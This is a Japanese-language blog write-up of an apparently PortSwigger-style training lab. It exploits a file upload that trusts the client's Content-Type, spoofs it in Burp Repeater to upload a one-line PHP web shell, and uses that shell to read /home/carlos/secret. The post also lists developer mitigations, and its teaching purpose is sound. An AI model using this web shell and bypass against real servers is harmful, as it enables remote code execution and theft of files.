Shikata Ga Nai

Private? There is no such things.

LAB: Content-Type偽装によるWebシェルアップロード実践攻略

Hello there, ('ω')ノ

🎯 ラボの目的

このラボでは、画像アップロード機能におけるContent-Type検証の不備を突きます。 サーバーはユーザー入力のContent-Typeをそのまま信頼しているため、 Burp Suiteなどで偽装することで Webシェルをアップロード → サーバーファイルを取得 できます。

最終目標は:

  • PHP Webシェルをアップロード
  • /home/carlos/secret ファイルの内容を抜き出して提出する

✅ 攻略手順(ステップバイステップ)


1️⃣ ログインして画像アップロードの挙動を確認

  • ラボのユーザーアカウントでログイン:

    • ユーザー名: wiener
    • パスワード: peter
  • アカウントページに進み アバター画像アップロード機能を確認

  • 任意の画像をアップロード → プロフィールに反映されることを確認


2️⃣ Burp Suiteでファイル取得リクエストを確認

  • Burpの Proxy > HTTP history を開く
  • 画像取得の GET /files/avatars/<画像名> リクエストを見つける
  • 右クリック → Send to Repeater

3️⃣ Webシェルを作成

自分のローカル環境で以下の内容のファイル exploit.php を作成:

<?php echo file_get_contents('/home/carlos/secret'); ?>

4️⃣ Webシェルを通常アップロード(失敗確認)

  • 通常の画像アップロード機能から exploit.php をアップロード
  • レスポンスで「image/jpeg または image/png 以外はアップロード不可」と表示される

5️⃣ Burp RepeaterでContent-Typeを偽装して再送信

  • Burpの Proxy history から POST /my-account/avatar リクエストを探す

  • Send to Repeater

  • RepeaterのBody部分のファイル送信パートを編集:

  Content-Type: image/jpeg

に強制的に変更(実ファイルは exploit.php のまま)

  • Send ボタンを押して送信

  • レスポンスが「アップロード成功」に変われば成功


6️⃣ Webシェルにアクセスして機密情報取得

  • 最初に保存した GET /files/avatars/<画像名> リクエストのタブに戻る

  • <画像名>exploit.php に書き換える

  • 例:

  GET /files/avatars/exploit.php HTTP/1.1
  • Send → レスポンスの中に /home/carlos/secret ファイルの内容が表示される

7️⃣ 解答を提出

  • 抜き出した文字列(CarlosのSecret)をコピー
  • ラボ画面上部の Submit solution ボタンから提出
  • ラボクリア!🎉

✅ この攻撃の本質ポイント

弱点 攻撃者のアプローチ
サーバーがContent-Typeを信用 Burpで任意のContent-Type偽装
MIMEと実ファイル不一致を未検出 実体はPHPなのにimage/jpegと偽装
実行可能ディレクトリに保存 /files/avatars/ に直接Webシェル設置可

🎯 攻撃者視点のまとめ

  • 「Content-Typeをサーバーが信じている=即バイパス可能」
  • Webアプリ診断では POSTファイル送信時のMIME偽装テスト が必須項目です。

✅ 開発者向け対策

  • ファイル内容(マジックナンバー)を必ず検査
  • Content-Typeや拡張子だけの検証に頼らない
  • Webサーバー実行不可ディレクトリにアップロードさせる
  • アップロードファイル名はサーバー側で UUID化 して保存

💡 結論

このラボは 「Content-Type偽装 → Webシェル設置 → RCE実現」 の超基本パターンを学べる最高の教材です。 本番環境でも Content-Typeバイパス は今なお有効な攻撃手法です。

Best regards, (^^ゞ